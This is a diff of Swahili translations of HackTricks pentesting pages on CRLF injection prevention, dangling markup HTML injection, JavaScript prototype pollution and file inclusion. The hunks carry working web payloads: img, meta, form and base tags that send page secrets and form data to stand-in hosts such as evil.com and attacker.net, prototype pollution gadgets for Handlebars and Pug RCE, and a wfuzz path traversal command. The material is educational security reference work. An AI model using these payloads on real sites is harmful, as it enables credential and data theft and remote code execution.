@ -143,17 +143,17 @@ Kwa mfano, katika udhaifu ulio gunduliwa awali, funguo za cache zilitumika kurud
|
||||
|
||||
<figure><img src="../images/image (659).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop"><figcaption></figcaption></figure>
|
||||
|
||||
Zaidi ya hayo, watafiti pia waligundua kwamba wangeweza kuondoa usawa wa majibu ya memcache ili kutuma IP na bandari za washambuliaji kwa watumiaji ambao barua pepe za mshambuliaji hazijulikani:
|
||||
Zaidi ya hayo, watafiti pia waligundua kwamba wangeweza kuondoa usawa wa majibu ya memcache kutuma IP na bandari za washambuliaji kwa watumiaji ambao barua pepe za washambuliaji hazikujulikana:
|
||||
|
||||
<figure><img src="../images/image (637).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop"><figcaption></figcaption></figure>
|
||||
|
||||
### Jinsi ya Kuzuia CRLF / Uingizaji wa Vichwa vya HTTP katika Programu za Wavuti
|
||||
### Jinsi ya Kuzuia CRLF / HTTP Header Injections katika Programu za Wavuti
|
||||
|
||||
Ili kupunguza hatari za CRLF (Carriage Return and Line Feed) au Uingizaji wa Vichwa vya HTTP katika programu za wavuti, mikakati ifuatayo inapendekezwa:
|
||||
Ili kupunguza hatari za CRLF (Carriage Return and Line Feed) au HTTP Header Injections katika programu za wavuti, mikakati ifuatayo inapendekezwa:
|
||||
|
||||
1. **Epuka Kuingiza Moja kwa Moja kutoka kwa Watumiaji katika Vichwa vya Majibu:** Njia salama zaidi ni kuepuka kuingiza maoni ya watumiaji moja kwa moja katika vichwa vya majibu.
|
||||
2. **Fanya Msimbo wa Mambo Maalum:** Ikiwa kuepuka kuingiza moja kwa moja kutoka kwa watumiaji si rahisi, hakikisha kutumia kazi iliyokusudiwa kwa ajili ya msimbo wa mambo maalum kama CR (Carriage Return) na LF (Line Feed). Praktika hii inazuia uwezekano wa uingizaji wa CRLF.
|
||||
3. **Sasisha Lugha ya Programu:** Sasisha mara kwa mara lugha ya programu inayotumiwa katika programu zako za wavuti hadi toleo la hivi karibuni. Chagua toleo ambalo kwa asili haliruhusu uingizaji wa wahusika wa CR na LF ndani ya kazi zinazotumika kuweka vichwa vya HTTP.
|
||||
2. **Fanya Msimbo wa Mambo Maalum:** Ikiwa kuepuka kuingiza moja kwa moja kutoka kwa watumiaji si rahisi, hakikisha kutumia kazi iliyokusudiwa kwa ajili ya msimbo wa mambo maalum kama CR (Carriage Return) na LF (Line Feed). Praktiki hii inazuia uwezekano wa kuingiza CRLF.
|
||||
3. **Sasisha Lugha ya Programu:** Sasisha mara kwa mara lugha ya programu inayotumika katika programu zako za wavuti hadi toleo la hivi karibuni. Chagua toleo ambalo kwa asili haliruhusu kuingiza wahusika wa CR na LF ndani ya kazi zinazohusika na kuweka vichwa vya HTTP.
|
||||
|
||||
### CHEATSHEET
|
||||
|
||||
@ -195,6 +195,4 @@ Ili kupunguza hatari za CRLF (Carriage Return and Line Feed) au Uingizaji wa Vic
|
||||
- [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
|
||||
- [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
|
||||
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Resume
|
||||
|
||||
Teknolojia hii inaweza kutumika kutoa taarifa kutoka kwa mtumiaji wakati **HTML injection inapatikana**. Hii ni muhimu sana ikiwa **hupati njia yoyote ya kutumia** [**XSS** ](../xss-cross-site-scripting/)lakini unaweza **kuingiza baadhi ya vitambulisho vya HTML**.\
|
||||
Teknolojia hii inaweza kutumika kutoa taarifa kutoka kwa mtumiaji wakati **HTML injection inapatikana**. Hii ni muhimu sana ikiwa **hupati njia yoyote ya kutumia** [**XSS** ](../xss-cross-site-scripting/)lakini unaweza **kuiingiza baadhi ya vitambulisho vya HTML**.\
|
||||
Pia ni muhimu ikiwa **siri fulani imehifadhiwa kwa maandiko wazi** katika HTML na unataka **kuipatia** kutoka kwa mteja, au ikiwa unataka kupotosha utekelezaji wa script fulani.
|
||||
|
||||
Mbinu kadhaa zilizozungumziwa hapa zinaweza kutumika kupita baadhi ya [**Content Security Policy**](../content-security-policy-csp-bypass/) kwa kupeleka taarifa kwa njia zisizotarajiwa (vitambulisho vya html, CSS, vitambulisho vya http-meta, fomu, msingi...).
|
||||
@ -13,7 +13,7 @@ Mbinu kadhaa zilizozungumziwa hapa zinaweza kutumika kupita baadhi ya [**Content
|
||||
|
||||
### Stealing clear text secrets
|
||||
|
||||
Ikiwa unafanya injection ya `<img src='http://evil.com/log.cgi?` wakati ukurasa umepakuliwa, mwathirika atakutumia msimbo wote kati ya vitambulisho vya `img` vilivyoingizwa na nukuu inayofuata ndani ya msimbo. Ikiwa siri fulani iko katika kipande hicho, utaiiba (unaweza kufanya kitu sawa kwa kutumia nukuu mbili, angalia ni ipi inaweza kuwa ya kuvutia zaidi kutumia).
|
||||
Ikiwa unaiingiza `<img src='http://evil.com/log.cgi?` wakati ukurasa unapo load, mwathirika atakutumia msimbo wote kati ya vitambulisho vya `img` vilivyoingizwa na nukta inayofuata ndani ya msimbo. Ikiwa siri fulani iko katika kipande hicho, utaiiba (unaweza kufanya kitu sawa kwa kutumia nukta mbili, angalia ni ipi inaweza kuwa ya kuvutia zaidi kutumia).
|
||||
|
||||
Ikiwa vitambulisho vya `img` vinakatazwa (kwa sababu ya CSP kwa mfano) unaweza pia kutumia `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
|
||||
```html
|
||||
@ -32,7 +32,7 @@ Unaweza pia kutumia **`<table`**:
|
||||
```html
|
||||
<table background='//your-collaborator-id.burpcollaborator.net?'
|
||||
```
|
||||
Unaweza pia kuingiza tag ya `<base`. Taarifa zote zitatumwa hadi nukuu ifungwe lakini inahitaji mwingiliano wa mtumiaji (mtumiaji lazima abonyeze kwenye kiungo fulani, kwa sababu tag ya base itakuwa imebadilisha eneo lililokusudiwa na kiungo):
|
||||
Unaweza pia kuingiza tag ya `<base`. Taarifa zote zitatumwa hadi nukuu ifungwe lakini inahitaji mwingiliano wa mtumiaji (mtumiaji lazima abonyeze kwenye kiungo fulani, kwa sababu tag ya base itakuwa imebadilisha kikoa kinachotajwa na kiungo):
|
||||
```html
|
||||
<base target=' <--- Injected
|
||||
steal me'<b>test</b>
|
||||
@ -41,11 +41,11 @@ steal me'<b>test</b>
|
||||
```html
|
||||
<base href="http://evil.com/" />
|
||||
```
|
||||
Kisha, fomu zinazotuma data kwenye njia (kama `<form action='update_profile.php'>`) zitatuma data kwenye kikoa kibaya.
|
||||
Kisha, fomu zinazotuma data kwenye njia (kama `<form action='update_profile.php'>`) zitatuma data hizo kwenye eneo la hatari.
|
||||
|
||||
### Kuiba fomu 2
|
||||
|
||||
Weka kichwa cha fomu: `<form action='http://evil.com/log_steal'>` hii itabadilisha kichwa cha fomu inayofuata na data zote kutoka kwa fomu zitatumwa kwa mshambuliaji.
|
||||
Weka kichwa cha fomu: `<form action='http://evil.com/log_steal'>` hii itabadilisha kichwa cha fomu inayofuata na data zote kutoka kwenye fomu zitatumwa kwa mshambuliaji.
|
||||
|
||||
### Kuiba fomu 3
|
||||
|
||||
@ -65,7 +65,7 @@ Kwa kutumia mbinu iliyotajwa hivi karibuni kuiba fomu (kuingiza kichwa kipya cha
|
||||
```html
|
||||
<input type='hidden' name='review_body' value="
|
||||
```
|
||||
na uwanja huu wa ingizo utaweka maudhui yote kati ya nukuu zake mbili na nukuu inayofuata katika HTML. Shambulio hili linachanganya "_**Kuhujumu siri za maandiko wazi**_" na "_**Kuhujumu fomu2**_".
|
||||
na uwanja huu wa ingizo utaweka maudhui yote kati ya nukta zake mbili za kunukuu na nukta inayofuata ya kunukuu katika HTML. Shambulio hili linachanganya "_**Kuhujumu siri za maandiko wazi**_" na "_**Kuhujumu fomu2**_".
|
||||
|
||||
Unaweza kufanya kitu sawa kwa kuingiza fomu na tag `<option>`. Takwimu zote hadi `</option>` iliyofungwa itatumwa:
|
||||
```html
|
||||
@ -96,13 +96,13 @@ Njia ya kutoa maudhui ya ukurasa wa wavuti kutoka kwenye eneo la sindano hadi ch
|
||||
```
|
||||
### Kupita CSP kwa ushirikiano wa mtumiaji
|
||||
|
||||
Kutoka kwenye [portswiggers research](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) unaweza kujifunza kwamba hata kutoka kwenye mazingira **yanayozuiwa zaidi na CSP** bado unaweza **kuhamasisha data** kwa kutumia **ushirikiano wa mtumiaji**. Katika tukio hili tutatumia payload:
|
||||
Kutoka kwenye [portswiggers research](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) unaweza kujifunza kwamba hata kutoka kwenye mazingira **yanayozuia CSP zaidi** bado unaweza **kuhamasisha data** kwa kutumia **ushirikiano wa mtumiaji**. Katika tukio hili tutatumia payload:
|
||||
```html
|
||||
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
|
||||
<base target='
|
||||
```
|
||||
Kumbuka kwamba utaomba **mhasiriwa** **abofye kwenye kiungo** ambacho kitampeleka **payload** iliyo chini ya udhibiti wako. Pia kumbuka kwamba **`target`** sifa ndani ya **`base`** tag itakuwa na **maudhui ya HTML** hadi nukta moja inayofuata.\
|
||||
Hii itafanya kwamba **thamani** ya **`window.name`** ikiwa kiungo kimebofywaho itakuwa maudhui yote hayo ya **HTML**. Hivyo, kwa kuwa unadhibiti ukurasa ambao mhasiriwa anafikia kwa kubofya kiungo, unaweza kufikia hiyo **`window.name`** na **kuhamasisha** data hiyo:
|
||||
Kumbuka kwamba utaomba **mhasiriwa** **abofye kwenye kiungo** ambacho kitampeleka **payload** iliyo chini ya udhibiti wako. Pia kumbuka kwamba sifa ya **`target`** ndani ya tag ya **`base`** itakuwa na **maudhui ya HTML** hadi nukta moja inayofuata.\
|
||||
Hii itafanya kwamba **thamani** ya **`window.name`** ikiwa kiungo kimebofywaji itakuwa maudhui yote ya **HTML**. Hivyo, kwa kuwa unadhibiti ukurasa ambao mhasiriwa anafikia kwa kubofya kiungo, unaweza kufikia **`window.name`** na **kuhamasisha** data hiyo:
|
||||
```html
|
||||
<script>
|
||||
if(window.name) {
|
||||
@ -120,7 +120,7 @@ Share this status update with: ← Legitimate optional element of a dialog
|
||||
... function submit_status_update() { ... request.share_with =
|
||||
document.getElementById('share_with').value; ... }
|
||||
```
|
||||
### Mchakato wa kupotosha script 2 - Shambulio la nafasi ya script
|
||||
### Mchakato wa skripti wa kupotosha 2 - Shambulio la nafasi ya skripti
|
||||
|
||||
Unda mabadiliko ndani ya nafasi ya javascript kwa kuingiza vitambulisho vya HTML. Kisha, mabadiliko haya yataathiri mtiririko wa programu:
|
||||
```html
|
||||
@ -163,7 +163,7 @@ top.window.location = "https://attacker.com/hacked.html"
|
||||
```
|
||||
Hii inaweza kupunguzika kwa kutumia kitu kama: `sandbox=' allow-scripts allow-top-navigation'`
|
||||
|
||||
Iframe pia inaweza kutumika vibaya kuvuja taarifa nyeti kutoka ukurasa tofauti **kwa kutumia sifa ya jina ya iframe**. Hii ni kwa sababu unaweza kuunda iframe ambayo inajifunga yenyewe ikitumia uingizaji wa HTML ambao unafanya **taarifa nyeti kuonekana ndani ya sifa ya jina ya iframe** na kisha kufikia jina hilo kutoka iframe ya awali na kuvuja.
|
||||
Iframe pia inaweza kutumika vibaya kuvuja taarifa nyeti kutoka ukurasa tofauti **kwa kutumia sifa ya iframe name**. Hii ni kwa sababu unaweza kuunda iframe ambayo inajifunga yenyewe ikitumia uingizaji wa HTML ambao unafanya **taarifa nyeti kuonekana ndani ya sifa ya iframe name** na kisha kufikia jina hilo kutoka iframe ya awali na kuvuja.
|
||||
```html
|
||||
<script>
|
||||
function cspBypass(win) {
|
||||
@ -197,7 +197,7 @@ Sio njia zote za kuvuja muunganisho katika HTML zitakuwa na manufaa kwa Dangling
|
||||
|
||||
## SS-Leaks
|
||||
|
||||
Hii ni **mchanganyiko** kati ya **dangling markup na XS-Leaks**. Kutoka upande mmoja, udhaifu unaruhusu **kuingiza HTML** (lakini si JS) katika ukurasa wa **asilimia moja** ya ule tutakaoshambulia. Kutoka upande mwingine hatutashambulia moja kwa moja ukurasa ambapo tunaweza kuingiza HTML, bali **ukurasa mwingine**.
|
||||
Hii ni **mchanganyiko** kati ya **dangling markup na XS-Leaks**. Kutoka upande mmoja, udhaifu unaruhusu **kuingiza HTML** (lakini si JS) katika ukurasa wa **asilimia moja** ya ule tutakaoshambulia. Kwa upande mwingine hatutashambulia moja kwa moja ukurasa ambapo tunaweza kuingiza HTML, bali **ukurasa mwingine**.
|
||||
|
||||
{{#ref}}
|
||||
ss-leaks.md
|
||||
@ -205,7 +205,7 @@ ss-leaks.md
|
||||
|
||||
## XS-Search/XS-Leaks
|
||||
|
||||
XS-Search zimeelekezwa kwenye **kuondoa taarifa za cross-origin** kwa kutumia **shambulio la upande**. Hivyo, ni mbinu tofauti na Dangling Markup, hata hivyo, baadhi ya mbinu zinatumia ujumuishaji wa vitambulisho vya HTML (ikiwa na bila utekelezaji wa JS), kama [**CSS Injection**](../xs-search/#css-injection) au [**Lazy Load Images**](../xs-search/#image-lazy-loading)**.**
|
||||
XS-Search zimeelekezwa kwenye **kuondoa taarifa za cross-origin** kwa kutumia **shambulio la upande wa channel**. Hivyo, ni mbinu tofauti na Dangling Markup, hata hivyo, baadhi ya mbinu zinatumia ujumuishaji wa vitambulisho vya HTML (ikiwa na bila utekelezaji wa JS), kama [**CSS Injection**](../xs-search/#css-injection) au [**Lazy Load Images**](../xs-search/#image-lazy-loading)**.**
|
||||
|
||||
{{#ref}}
|
||||
../xs-search/
|
||||
@ -213,7 +213,9 @@ XS-Search zimeelekezwa kwenye **kuondoa taarifa za cross-origin** kwa kutumia **
|
||||
|
||||
## Brute-Force Detection List
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
|
@ -4,12 +4,12 @@
|
||||
|
||||
## Objects in JavaScript <a href="#id-053a" id="id-053a"></a>
|
||||
|
||||
Vitu katika JavaScript kimsingi ni makusanyo ya jozi za funguo-thamani, zinazojulikana kama mali. Kitu kinaweza kuundwa kwa kutumia `Object.create` na `null` kama hoja ili kuzalisha kitu kisicho na kitu chochote kilichorithiwa. Njia hii inaruhusu uundaji wa kitu bila mali zozote zilizorithiwa.
|
||||
Vitu katika JavaScript kimsingi ni makusanyo ya jozi za funguo-thamani, zinazojulikana kama mali. Kitu kinaweza kuundwa kwa kutumia `Object.create` na `null` kama hoja ili kuzalisha kitu kisicho na kitu. Njia hii inaruhusu uundaji wa kitu bila mali zozote zilizorithiwa.
|
||||
```javascript
|
||||
// Run this in the developers tools console
|
||||
console.log(Object.create(null)) // This will output an empty object.
|
||||
```
|
||||
Kitu kisichokuwa na kitu ni sawa na kamusi tupu, kinachowakilishwa kama `{}`.
|
||||
Kitu kisichokuwa na kitu ni sawa na kamusi isiyo na kitu, inawakilishwa kama `{}`.
|
||||
|
||||
### Kazi na Madarasa katika JavaScript
|
||||
|
||||
@ -35,11 +35,11 @@ employee1.__proto__
|
||||
|
||||
JavaScript inaruhusu mabadiliko, kuongeza, au kufuta sifa za prototype wakati wa utendaji. Uwezo huu unaruhusu upanuzi wa kazi za darasa kwa njia ya dinamik.
|
||||
|
||||
Mifunction kama `toString` na `valueOf` inaweza kubadilishwa kubadilisha tabia zao, ikionyesha asili inayoweza kubadilika ya mfumo wa prototype wa JavaScript.
|
||||
Mifunction kama `toString` na `valueOf` zinaweza kubadilishwa kubadilisha tabia zao, ikionyesha asili inayoweza kubadilika ya mfumo wa prototype wa JavaScript.
|
||||
|
||||
## Urithi
|
||||
|
||||
Katika programu inayotegemea prototype, mali/mifunction inarithiwa na vitu kutoka kwa madarasa. Madarasa haya yanaundwa kwa kuongeza mali/mifunction ama kwa mfano wa darasa lingine au kwa kitu kisicho na kitu.
|
||||
Katika programu inayotegemea prototype, mali/mifunction zinarithiwa na vitu kutoka kwa madarasa. Madarasa haya yanaundwa kwa kuongeza mali/mifunction ama kwa mfano wa darasa lingine au kwa kitu kisicho na kitu.
|
||||
|
||||
Inapaswa kuzingatiwa kwamba wakati mali inaongezwa kwa kitu kinachotumikia kama prototype kwa vitu vingine (kama `myPersonObj`), vitu vinavyorithi vinapata ufikiaji wa mali hii mpya. Hata hivyo, mali hii haionekani moja kwa moja isipokuwa itakapoitwa wazi.
|
||||
|
||||
@ -78,7 +78,7 @@ console.log(car1.isVehicle) // Outputs true
|
||||
```
|
||||
## prototype pollution
|
||||
|
||||
Kwa hali ambapo matumizi ya `__proto__` yamepunguziliwa, kubadilisha prototype ya kazi ni chaguo mbadala:
|
||||
Katika hali ambapo matumizi ya `__proto__` yamepunguziliwa, kubadilisha prototype ya kazi ni chaguo mbadala:
|
||||
```javascript
|
||||
function Vehicle(model) {
|
||||
this.model = model
|
||||
@ -117,11 +117,11 @@ console.log("Hello!")
|
||||
```
|
||||
Baada ya operesheni hizi, kila kitu cha JavaScript kinaweza kutekeleza `goodbye` na `greet` mbinu.
|
||||
|
||||
## Kuathiri vitu vingine
|
||||
## Kuingiza vitu vingine
|
||||
|
||||
### Kutoka kwa darasa hadi Object.prototype
|
||||
|
||||
Katika hali ambapo unaweza **kuathiri kitu maalum** na unahitaji **kufikia `Object.prototype`** unaweza kutafuta kwa kutumia kitu kama ifuatavyo:
|
||||
Katika hali ambapo unaweza **kuingiza kitu maalum** na unahitaji **kufikia `Object.prototype`** unaweza kutafuta kwa kutumia kitu kama ifuatavyo:
|
||||
```javascript
|
||||
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
|
||||
|
||||
@ -154,7 +154,7 @@ b[0] //undefined
|
||||
b[1] //"yolo"
|
||||
c[1] // 2 -- not
|
||||
```
|
||||
### Uharibifu wa vipengele vya Html
|
||||
### Uchafuzi wa vipengele vya Html
|
||||
|
||||
Wakati wa kuunda kipengele cha HTML kupitia JS inawezekana **kufuta** sifa ya **`innerHTML`** ili kufanya iweze kuandika **kanuni za HTML zisizo na mpangilio.** [Wazo na mfano kutoka kwa andiko hili](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
|
||||
```javascript
|
||||
@ -183,7 +183,7 @@ Object.prototype.isAdmin = true
|
||||
let user = {}
|
||||
user.isAdmin // true
|
||||
```
|
||||
Mekanismu nyuma ya hii inahusisha kubadilisha mali kwa namna kwamba ikiwa mshambuliaji ana udhibiti juu ya ingizo fulani, wanaweza kubadilisha prototype ya vitu vyote katika programu. Manipulasi hii kwa kawaida inahusisha kuweka mali ya `__proto__`, ambayo, katika JavaScript, ni sawa na kubadilisha moja kwa moja prototype ya kitu.
|
||||
Mechanism nyuma ya hii inahusisha kubadilisha mali kwa namna kwamba ikiwa mshambuliaji ana udhibiti juu ya ingizo fulani, wanaweza kubadilisha prototype ya vitu vyote katika programu. Manipulation hii kwa kawaida inahusisha kuweka mali ya `__proto__`, ambayo, katika JavaScript, ni sawa na kubadilisha moja kwa moja prototype ya kitu.
|
||||
|
||||
Masharti ambayo shambulio hili linaweza kutekelezwa kwa mafanikio, kama ilivyoelezwa katika [study](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf) maalum, ni pamoja na:
|
||||
|
||||
@ -228,11 +228,13 @@ Uthibitisho huu, ulioainishwa kama CVE-2019–11358, unaonyesha jinsi nakala ya
|
||||
|
||||
### Mafunzo mengine na CVEs
|
||||
|
||||
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
|
||||
{{#ref}}
|
||||
https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2
|
||||
{{#endref}}
|
||||
|
||||
### Zana za kugundua Uchafuzi wa Prototype
|
||||
|
||||
- [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): Kiendelezi cha Burp Suite kilichoundwa kugundua na kuchambua udhaifu wa uchafuzi wa prototype upande wa seva katika programu za wavuti. Zana hii inafanya mchakato wa kuskania maombi ili kubaini masuala yanayoweza kuwa ya uchafuzi wa prototype. Inatumia vifaa vilivyojulikana - mbinu za kutumia uchafuzi wa prototype kutekeleza vitendo vya hatari - hasa ikilenga maktaba za Node.js.
|
||||
- [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): Kiendelezi cha Burp Suite kilichoundwa kugundua na kuchambua udhaifu wa uchafuzi wa prototype upande wa seva katika programu za wavuti. Zana hii inafanya mchakato wa skanning maombi ili kubaini masuala yanayoweza kuwa ya uchafuzi wa prototype. Inatumia vifaa vilivyojulikana - mbinu za kutumia uchafuzi wa prototype kutekeleza vitendo vya hatari - hasa ikilenga maktaba za Node.js.
|
||||
- [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution): Kiendelezi hiki kinatambua udhaifu wa uchafuzi wa prototype upande wa seva. Kinatumia mbinu zilizoelezwa katika [uchafuzi wa prototype upande wa seva](https://portswigger.net/research/server-side-prototype-pollution).
|
||||
|
||||
### Uchafuzi wa Prototype wa AST katika NodeJS
|
||||
@ -241,15 +243,15 @@ NodeJS inatumia kwa kiasi kikubwa Miti ya Sintaksia ya Abstrakti (AST) katika Ja
|
||||
|
||||
#### Uchambuzi wa Uthibitisho wa Handlebars
|
||||
|
||||
Injini ya templeti ya Handlebars inakabiliwa na shambulio la uchafuzi wa prototype. Uthibitisho huu unatokana na kazi maalum ndani ya faili ya `javascript-compiler.js`. Kazi ya `appendContent`, kwa mfano, inaunganisha `pendingContent` ikiwa ipo, wakati kazi ya `pushSource` inarejesha `pendingContent` kuwa `undefined` baada ya kuongeza chanzo.
|
||||
Injini ya templeti ya Handlebars inakabiliwa na shambulio la uchafuzi wa prototype. Uthibitisho huu unatokana na kazi maalum ndani ya faili ya `javascript-compiler.js`. Kazi ya `appendContent`, kwa mfano, inakusanya `pendingContent` ikiwa ipo, wakati kazi ya `pushSource` inarejesha `pendingContent` kuwa `undefined` baada ya kuongeza chanzo.
|
||||
|
||||
**Mchakato wa Utekelezaji**
|
||||
|
||||
Utekelezaji unatumia AST (Miti ya Sintaksia ya Abstrakti) inayozalishwa na Handlebars, ikifuatia hatua hizi:
|
||||
|
||||
1. **Manipulation of the Parser**: Kwanza, parser, kupitia node ya `NumberLiteral`, inasisitiza kwamba thamani ni za nambari. Uchafuzi wa prototype unaweza kuzunguka hili, kuruhusu kuingiza nyuzi zisizo za nambari.
|
||||
2. **Handling by the Compiler**: Mkompila anaweza kushughulikia Objekti ya AST au templeti ya nyuzi. Ikiwa `input.type` ni sawa na `Program`, ingizo linachukuliwa kama limeandaliwa mapema, ambalo linaweza kutumika.
|
||||
3. **Injection of Code**: Kupitia manipulation ya `Object.prototype`, mtu anaweza kuingiza msimbo wa bahati mbaya katika kazi ya templeti, ambayo inaweza kusababisha utekelezaji wa msimbo wa mbali.
|
||||
1. **Manipulation ya Parser**: Kwanza, parser, kupitia node ya `NumberLiteral`, inasisitiza kwamba thamani ni za nambari. Uchafuzi wa prototype unaweza kuzunguka hili, kuruhusu kuingizwa kwa nyuzi zisizo za nambari.
|
||||
2. **Kushughulikia na Compiler**: Compiler inaweza kushughulikia Objekti ya AST au templeti ya nyuzi. Ikiwa `input.type` ni sawa na `Program`, ingizo linachukuliwa kama limeandaliwa mapema, ambalo linaweza kutumika.
|
||||
3. **Kuingiza Msimbo**: Kupitia manipulation ya `Object.prototype`, mtu anaweza kuingiza msimbo wowote katika kazi ya templeti, ambayo inaweza kusababisha utekelezaji wa msimbo wa mbali.
|
||||
|
||||
Mfano unaoonyesha utekelezaji wa udhaifu wa Handlebars:
|
||||
```javascript
|
||||
@ -313,7 +315,7 @@ requests.get(TARGET_URL)
|
||||
```
|
||||
#### Uthibitisho wa Pug
|
||||
|
||||
Pug, injini nyingine ya templeti, inakabiliwa na hatari sawa ya uchafuzi wa prototype. Taarifa za kina zinapatikana katika mjadala kuhusu [AST Injection in Pug](https://blog.p6.is/AST-Injection/#Pug).
|
||||
Pug, injini nyingine ya kielelezo, inakabiliwa na hatari sawa ya uchafuzi wa prototype. Taarifa za kina zinapatikana katika mjadala kuhusu [AST Injection in Pug](https://blog.p6.is/AST-Injection/#Pug).
|
||||
|
||||
Mfano wa uchafuzi wa prototype katika Pug:
|
||||
```python
|
||||
@ -336,11 +338,23 @@ requests.get(TARGET_URL)
|
||||
|
||||
Ili kupunguza hatari ya uchafuzi wa prototype, mikakati iliyoorodheshwa hapa chini inaweza kutumika:
|
||||
|
||||
1. **Ubadilishaji wa Kitu**: `Object.prototype` inaweza kufanywa isiyobadilika kwa kutumia `Object.freeze`.
|
||||
1. **Uthibitisho wa Kitu**: `Object.prototype` inaweza kufanywa isiyoweza kubadilishwa kwa kutumia `Object.freeze`.
|
||||
2. **Uthibitishaji wa Ingizo**: Ingizo la JSON linapaswa kuthibitishwa kwa makini dhidi ya muundo wa programu.
|
||||
3. **Mifumo Salama ya Kuunganisha**: Matumizi yasiyo salama ya mifumo ya kuunganisha ya kurudiwa yanapaswa kuepukwa.
|
||||
4. **Vitu Visivyo na Prototype**: Vitu bila mali za prototype vinaweza kuundwa kwa kutumia `Object.create(null)`.
|
||||
5. **Matumizi ya Ramani**: Badala ya `Object`, `Map` inapaswa kutumika kuhifadhi jozi za funguo-thamani.
|
||||
5. **Matumizi ya Ramani**: Badala ya `Object`, `Map` inapaswa kutumika kwa kuhifadhi jozi za funguo-thamani.
|
||||
6. **Sasisho za Maktaba**: Vidokezo vya usalama vinaweza kuingizwa kwa kusasisha maktaba mara kwa mara.
|
||||
7. **Zana za Linter na Uchambuzi wa Kijamii**: Tumia zana kama ESLint zikiwa na nyongeza zinazofaa kugundua na kuzuia udhaifu wa uchafuzi wa prototype.
|
||||
8. **Mapitio ya Kanuni**: Tekeleza mapitio ya kina ya
|
||||
7. **Zana za Linter na Uchambuzi wa Kimuundo**: Tumia zana kama ESLint zikiwa na nyongeza zinazofaa kugundua na kuzuia udhaifu wa uchafuzi wa prototype.
|
||||
8. **Mapitio ya Kanuni**: Tekeleza mapitio ya kina ya kanuni ili kubaini na kurekebisha hatari zinazoweza kuhusiana na uchafuzi wa prototype.
|
||||
9. **Mafunzo ya Usalama**: Wafundishe waendelezaji kuhusu hatari za uchafuzi wa prototype na mbinu bora za kuandika kanuni salama.
|
||||
10. **Kutumia Maktaba kwa Uangalifu**: Kuwa makini unapokuwa ukitumia maktaba za upande wa tatu. Kadiria hali yao ya usalama na pitia kanuni zao, hasa zile zinazoshughulikia vitu.
|
||||
11. **Ulinzi wa Wakati wa Uendeshaji**: Tumia mitambo ya ulinzi wa wakati wa uendeshaji kama vile kutumia pakiti za npm zinazolenga usalama ambazo zinaweza kugundua na kuzuia mashambulizi ya uchafuzi wa prototype.
|
||||
|
||||
## Marejeleo
|
||||
|
||||
- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
|
||||
- [https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l](https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l)
|
||||
- [https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
|
||||
- [https://blog.p6.is/AST-Injection/](https://blog.p6.is/AST-Injection/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -4,10 +4,10 @@
|
||||
|
||||
## File Inclusion
|
||||
|
||||
**Remote File Inclusion (RFI):** Faili linawekwa kutoka kwa seva ya mbali (Bora: Unaweza kuandika msimbo na seva itatekeleza). Katika php hii ime **zuiliwa** kwa default (**allow_url_include**).\
|
||||
**Remote File Inclusion (RFI):** Faili linawekwa kutoka kwa seva ya mbali (Bora: Unaweza kuandika msimbo na seva itatekeleza). Katika php hii ni **imezimwa** kwa default (**allow_url_include**).\
|
||||
**Local File Inclusion (LFI):** Seva inaweka faili ya ndani.
|
||||
|
||||
Uthibitisho wa udhaifu hutokea wakati mtumiaji anaweza kudhibiti kwa njia fulani faili ambayo itakuwa ikipakiwa na seva.
|
||||
Uthibitisho wa udhaifu hutokea wakati mtumiaji anaweza kudhibiti kwa namna fulani faili ambayo itakuwa inaloadiwa na seva.
|
||||
|
||||
**PHP functions** zenye udhaifu: require, require_once, include, include_once
|
||||
|
||||
@ -21,7 +21,9 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
||||
|
||||
**Kuchanganya orodha kadhaa za \*nix LFI na kuongeza njia zaidi, nimeunda hii:**
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
|
||||
